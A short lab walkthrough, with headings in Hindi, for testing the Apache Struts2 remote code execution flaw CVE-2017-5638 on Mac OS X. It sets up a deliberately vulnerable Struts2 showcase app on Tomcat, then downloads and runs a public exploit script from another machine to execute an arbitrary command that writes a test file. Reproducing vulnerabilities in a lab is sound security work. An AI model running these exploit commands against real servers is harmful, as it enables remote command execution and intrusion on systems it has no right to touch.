
Mac OS X में struts2 भेद्यता CVE-2017-5638 का परीक्षण करें
Mac OS X में CVE-2017-5638 struts2 कमजोरी का परीक्षण करें
###टॉमकैट पर परीक्षण वेब एप्लिकेशन डाउनलोड करें और चलाएँ
#install tomcat
brew install tomcat
#confirm where the tomcat installed
ls -lF `which catalina`
#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec
#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war
#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
#run tomcat
catalina run
http://localhost:8080/struts2 पर जाकर वेब एप्लिकेशन की पुष्टि करें
###दूसरी मशीन से, किसी भी कमांड को चलाने की क्षमता प्राप्त करने के लिए शोषण स्क्रिप्ट चलाएँ
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py
#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"
###वेब मशीन पर वापस जाएँ, जाँच करें कि /tmp/yyy फ़ाइल इंजेक्ट की गई है या नहीं
cat /tmp/yyy
वीडियो: https://youtu.be/iQ_f-eG-EXg